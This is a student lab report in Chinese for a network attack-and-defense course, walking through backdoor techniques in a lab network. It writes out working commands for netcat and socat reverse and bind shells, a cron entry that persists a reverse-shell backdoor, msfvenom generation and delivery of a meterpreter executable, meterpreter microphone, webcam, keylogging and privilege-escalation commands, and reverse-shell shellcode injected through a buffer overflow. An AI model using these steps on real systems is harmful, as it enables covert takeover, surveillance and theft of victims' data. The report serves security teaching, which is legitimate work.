2019-2020-2 20175334罗昕锐《网络对抗技术》Exp2 后门原理与实践
2019-2020-2 20175334罗昕锐《网络对抗技术》Exp2 后门原理与实践
1 实践说明
1.1实践内容
-
(1)使用netcat获取主机操作Shell,cron启动
-
(2)使用socat获取主机操作Shell, 任务计划启动
-
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告
1.2基础知识
-
后门概念
- 后门就是不经过正常认证流程而访问系统的通道
-
哪里有后门
-
编译器留后门
-
操作系统留后门
-
最常见的当然还是应用程序中留后门
-
还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序
-
2 使用netcat获取主机操作Shell,cron启动
2.1 Windows获得Linux Shell
- windows中通过
win+R
——cmd
——ipconfig
查看IP地址
- 关闭防火墙,windows使用
ncat.exe -l -p 5334
打开监听,并检查windows和linux的连通性
- linux使用
nc 192.168.1.4 5334 -e /bin/sh
反弹连接windows
- windows下获得一个linux shell,可运行任何指令,如ls
2.2 Linux获得Windows Shell
- linux使用
ifconfig
查看IP地址
- linux使用
nc -l -p 5334
打开监听
- windows使用
ncat.exe -e cmd.exe 192.168.186.133 5334
反弹连接linux
- linux下看到windows的命令提示
2.3 cron启动
- linux使用
crontab -e
并选择3进入编辑模式,在最后一行添加40 * * * * /bin/netcat 192.168.1.4 5334 -e /bin/sh
,表示每个小时的第40分钟执行后面的那条指令
- linux在40分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell
2.4 nc传输数据
- windows使用
ncat.exe -l 5334
监听端口,linux使用nc 192.168.1.4 5334
反弹连接到windows的端口,连接建立成功后双方可互传输数据
3 使用socat获取主机操作Shell, 任务计划启动
3.1 socat
- windows打开计算机管理,在任务计划程序中创建任务
- 新建操作,并在程序或脚本中选择
socat.exe
路径,添加参数一栏填写tcp-listen:5334 exec:cmd.exe,pty,stderr
- 新建触发器,选择时间
- 到达时间后会自行触发
- linux使用
socat - tcp:192.168.1.4:5334
完成连接,获得windows shell
4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4.1 MSF meterpreter
- linux使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor5334.exe
生成后门程序
- windows使用
ncat.exe -lv 5334 > backdoor5334.exe
,查看连接状态
- linux使用
nc 192.168.1.4 5334 < backdoor5334.exe
传输后门程序,传输成功后windows会给出提示
- linux使用
msfconsole
进入msf控制台,并键入以下命令
use exploit/multi/handler,使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.186.133,此处为linux的IP地址
set LPORT 5334,使用相同的端口
show options,查看设置
- linux使用
exploit
开始监听,并在windows中运行后门程序,linux成功获得windows的shell
5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.1 获取录音权限
- linux使用
record_mic
可以截取一段音频
5.2 获取摄像头权限
- linux使用
webcam_snap
可以获取摄像头内容
5.3 获取其它权限
- linux使用
keyscan_start
可以记录下击键的过程,使用keyscan_dump
可以读取击键记录
- linux使用
screenshot
可以进行截屏
- linux使用
getuid
可以查看当前用户,使用getsystem
可以进行提权操作
6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
6.1 shellcode
-
在Exploit DataBase中搜索
linux/x86 - Reverse
下载反弹连接的shellcode并提取其中的机器码
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
-
linux使用
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
- 使用如下命令使输出重定向>将
perl
生成的字符串存储到文件input_shellcode
中
32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
- 打开一个终端使用
(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1
找到pwn1
的进程号,之后启动gdb
使用attach
调试,使用disassemble foo
查看ret
的地址,设置断点,然后在另外一个终端中按下回车,再在gdb
输入c
继续运行,
- 使用
info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据
存放的地址为0xffffd2f0
,计算出shellcode
地址就是0xffffd2f0+4
,即0xffffd2f4
- 在一个终端中打开msf控制台,输入以下命令:
use exploit/multi/handler,设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1,设置ip
set LPORT 4444,设置端口
show options,查看选项
exploit ,设置完成,开始监听
- 在另一个终端修改
input_shellcode
并使用cat input_shellcode;cat) | ./pwn1
运行pwn1文件,在第一个终端中可以看到已经成功调取了shell
7 实验收获与感想
- 本次实验较为简单,不用花费太多时间;通过本次实验,让我感受到了后门的危害性,通过后门,攻击者可以控制我们的电脑,窃取信息,所以如何防范此类事件的发生更是本次实验后值的思考的一件事,希望在日后的学习过程中能够学到更多技术去研究
8 回答问题
-
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 在非官方网站下下载应用程序
-
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- linux:cron定时启动;windows:修改注册表项
-
(3)Meterpreter有哪些给你印象深刻的功能?
- 获取目标主机的音频、摄像头、击键记录等功能
-
(4)如何发现自己有系统有没有被安装后门?
- 查看注册表、进程、端口情况,使用杀毒软件进行查杀